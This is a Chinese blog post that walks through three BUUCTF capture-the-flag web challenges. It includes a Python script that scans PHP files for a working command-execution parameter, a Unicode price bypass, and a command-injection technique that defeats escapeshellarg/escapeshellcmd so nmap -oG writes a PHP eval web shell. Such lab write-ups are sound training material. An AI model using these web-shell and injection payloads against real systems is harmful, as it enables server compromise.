[BT]BUUCTF刷题第17天(4.15)

2024-04-16 20:04
文章标签 buuctf 刷题 17 bt 4.15

本文主要是介绍[BT]BUUCTF刷题第17天(4.15),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

第17天(共3题)

Web

[强网杯 2019]高明的黑客

在这里插入图片描述
.tar.gz 是 Linux 系统下的压缩包,访问即可下载

打开后有3000多个php文件,通过题解得知需要写Python脚本找出合适的GetShell文件(因为每个文件里都会通过system函数执行命令,但不是每个函数都带有参数)
在这里插入图片描述

在这里插入图片描述

因为拿到了所有PHP文件,所以我们可以在本地搭建环境运行脚本(我的本地环境搭建域名是localtest

在这里插入图片描述

接下来就是使用脚本(来自大佬题解)

import os
import requests
import re
import threading
import time
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100)  							  	#这儿设置最大的线程数
filePath = r"D:/CTF/PHP_Study/phpstudy_pro/WWW/src"         #自己替换为文件所在目录(我的是#D:/CTF/PHP_Study/phpstudy_pro/WWW/src)
os.chdir(filePath)													#改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5								#设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False											 # 设置连接活跃状态为False
def get_content(file):s1.acquire()print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))with open(file,encoding='utf-8') as f:							#打开php文件,提取所有的$_GET和$_POST的参数gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))data = {}														#所有的$_POSTparams = {}														#所有的$_GETfor m in gets:params[m] = "echo 'xxxxxx';"for n in posts:data[n] = "echo 'xxxxxx';"url = 'http://localtest/'+file                      #自己替换为本地urlreq = session.post(url, data=data, params=params)			#一次性请求所有的GET和POSTreq.close()												# 关闭请求  释放内存req.encoding = 'utf-8'content = req.text#print(content)if "xxxxxx" in content:									#如果发现有可以利用的参数,继续筛选出具体的参数flag = 0for a in gets:req = session.get(url+'?%s='%a+"echo 'xxxxxx';")content = req.textreq.close()												# 关闭请求  释放内存if "xxxxxx" in content:flag = 1breakif flag != 1:for b in posts:req = session.post(url, data={b:"echo 'xxxxxx';"})content = req.textreq.close()												# 关闭请求  释放内存if "xxxxxx" in content:breakif flag == 1:													#flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,param = aelse:param = bprint('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)print('结束时间:  ' + time.asctime(time.localtime(time.time())))s1.release()for i in files:															#加入多线程t = threading.Thread(target=get_content, args=(i,))t.start()

原理是遍历目录下所有文件,然后定义了一个函数逐个打开文件,再正则表达式匹配获取所有的 GET 参数POST 参数,再访问 url 传入参数验证是否可用。

判断的方法是令传入的参数在访问页面显示一个内容echo 'XXXXXX',然后再判断页面有没有这个内容,有则传入的参数执行成功,没有则无效的。

在这里插入图片描述

构造URL:http://1955d020-deb3-447d-b433-7bc05ed1cbc8.node5.buuoj.cn:81/xk0SzyKwfzw.php?Efa5BVG=cat /flag

得到flag

在这里插入图片描述

[ASIS 2019]Unicorn shop

在这里插入图片描述

这是一个购买独角兽的商店,尝试购买第一个独角兽

在这里插入图片描述

发现除了购买第一个,购买第二三个也会显示以下界面

在这里插入图片描述

但购买第四个显示的是:

在这里插入图片描述

意思是金额只能输入一个字符,但是价格1337,是四个字符,通过题目名字里的Unicode和题解得知需要找到一个Unicode编码的字符,其值大于1337

在 这个网站 搜索thousand,找到一个比1337大的字符

在这里插入图片描述

复制提交即可

在这里插入图片描述

在这里插入图片描述

[网鼎杯 2020 朱雀组]Nmap

在这里插入图片描述

这是一道有关Namp的题目

扫描127.0.0.1返回以下内容

在这里插入图片描述

Nmap的输出命令:
主要只有四种:

-oN < filespec > (标准输出)
-oX < filespec> (XML输出)
-oS < filespec> (ScRipT KIdd|3 oUTpuT)
-oG < filespec> (Grep输出)

其中以 -oN-oG 为主

在本地Linux中使用Namp将一句话木马写入文件需要对一句话木马用引号括起:

namp '<?php @eval($_POST[hack]);?>' -oG shell.php

或者进行转义:

namp \<\?php @eval\(\$_POST\[hack\]\)\;\?\> -oG shell.php

尝试127.0.0.1 | ls,返回以下内容

在这里插入图片描述

说明极有可能网站使用了escapeshellcmd()函数对字符串进行了转义

接下来说明escapeshellarg()函数escapeshellcmd()函数的功能:

escapeshellarg()函数用于为字符串添加单引号,因此shell不会解释其中的特殊字符。如果字符串中已经有单引号了,那么该函数会先对字符串中的单引号做转义,再分别用两对单引号括起转义单引号前后的两段字符串

escapeshellcmd()函数用于对字符串中可能会欺骗shell执行任意命令的字符进行转义。此函数保证用户输入的数据安全

例如传入127.0.0.1' -v -d a=1

经过escapeshellarg()函数处理后变为:

'127.0.0.1'    \'     ' -v -d a=1'

这里为了方便看我把两段字符串分的很开

如果我们构造127.0.0.1 | <?php @eval($_POST[hack]);?> -oG shell.php

那么经过两个函数的处理就会变成:

'127.0.0.1 | \<\?php @eval\(\)\;\?\> -oG hack.php '

这是一段字符串,并且里面的特殊符号还被转义了,我们知道为了将一句话木马写入文件可以用单引号括起或者转义,但这里两者兼具反而不行,因此我们要考虑把单引号省略掉

在原基础上左右各添加一个单引号:

' <?php @eval($_POST[hack]);?> -oG shell.php '   //注意单引号和<要隔一个空格防止<被转义

但是网站限制了php字样,所以上面的例子要改为:

' <?=@eval($_POST[hack]);?> -oG hack.phtml '    //<? ?>是短标签

这里解释一下,经过两个函数的处理后就会变为:

第一个:

''   \'  ' <?= @eval($_REQUEST[1]);?> -oG test.phtml'  \'    ''

第二个:

''   \\'   ' <\?= @eval$REQUEST\[1\]\;\?\> -oG test.phtml'   \\'   ''

前面和后面的''被主机解释为空连接符,\\被解释为普通没有功能的\,紧接后面的' '也是空连接符,后半部分的' \\'对前面的字符传就没有影响了,因此一句话木马成功省略掉了单引号,能够写入文件并执行

查询:

' <?=@eval($_POST[hack]);?> -oG hack.phtml '

返回以下内容说明写入成功
在这里插入图片描述
构造POST方法拿到flag
在这里插入图片描述

这篇关于[BT]BUUCTF刷题第17天(4.15)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/909769

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

BUUCTF(34)特殊的 BASE64

使用pycharm时,如果想把代码撤销到之前的状态可以用 Ctrl+z 如果不小心撤销多了,可以用 Ctrl+Shift+Z 还原, 别傻傻的重新敲了 BUUCTF在线评测 (buuoj.cn) 查看字符串,想到base64的变表 这里用的c++的标准程序库中的string,头文件是#include<string> 这是base64的加密函数 std::string

【每日刷题】Day113

【每日刷题】Day113 🥕个人主页:开敲🍉 🔥所属专栏:每日刷题🍍 🌼文章目录🌼 1. 91. 解码方法 - 力扣(LeetCode) 2. LCR 098. 不同路径 - 力扣(LeetCode) 3. 63. 不同路径 II - 力扣(LeetCode) 1. 91. 解码方法 - 力扣(LeetCode) //思路:动态规划。 cl

BT天堂网站挂马事件后续:“大灰狼”远控木马分析及幕后真凶调查

9月初安全团队披露bt天堂网站挂马事件,该网站被利用IE神洞CVE-2014-6332挂马,如果用户没有打补丁或开启安全软件防护,电脑会自动下载执行大灰狼远控木马程序。 鉴于bt天堂电影下载网站访问量巨大,此次挂马事件受害者甚众,安全团队专门针对该木马进行严密监控,并对其幕后真凶进行了深入调查。 一、“大灰狼”的伪装 以下是10月30日一天内大灰狼远控的木马样本截图,可以看到该木马变种数量不

17 通过ref代替DOM用来获取元素和组件的引用

重点 ref :官网给出的解释是: ref: 用于注册对元素或子组件的引用。引用将在父组件的$refs 对象下注册。如果在普通DOM元素上使用,则引用将是该元素;如果在子组件上使用,则引用将是组件实例: <!-- vm.$refs.p will be the DOM node --><p ref="p">hello</p><!-- vm.$refs.child will be the c

react笔记 8-17 属性绑定 class绑定 引入图片 循环遍历

1、绑定属性 constructor(){super()this.state={name:"张三",title:'我是一个title'}}render() {return (<div><div>aaaaaaa{this.state.name}<div title={this.state.title}>我是一个title</div></div></div>)} 绑定属性直接使用花括号{}   注

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

hot100刷题第1-9题,三个专题哈希,双指针,滑动窗口

求满足条件的子数组,一般是前缀和、滑动窗口,经常结合哈希表; 区间操作元素,一般是前缀和、差分数组 数组有序,更大概率会用到二分搜索 目前已经掌握一些基本套路,重零刷起leetcode hot 100, 套路题按套路来,非套路题适当参考gpt解法。 一、梦开始的地方, 两数之和 class Solution:#注意要返回的是数组下标def twoSum(self, nums: Lis

代码随想录刷题day25丨491.递增子序列 ,46.全排列 ,47.全排列 II

代码随想录刷题day25丨491.递增子序列 ,46.全排列 ,47.全排列 II 1.题目 1.1递增子序列 题目链接:491. 非递减子序列 - 力扣(LeetCode) 视频讲解:回溯算法精讲,树层去重与树枝去重 | LeetCode:491.递增子序列_哔哩哔哩_bilibili 文档讲解:https://programmercarl.com/0491.%E9%80%92%E

【全网最全】2024年数学建模国赛A题30页完整建模文档+17页成品论文+保奖matla代码+可视化图表等(后续会更新)

您的点赞收藏是我继续更新的最大动力! 一定要点击如下的卡片,那是获取资料的入口! 【全网最全】2024年数学建模国赛A题30页完整建模文档+17页成品论文+保奖matla代码+可视化图表等(后续会更新)「首先来看看目前已有的资料,还会不断更新哦~一次购买,后续不会再被收费哦,保证是全网最全资源,随着后续内容更新,价格会上涨,越早购买,价格越低,让大家再也不需要到处买断片资料啦~💰💸👋」�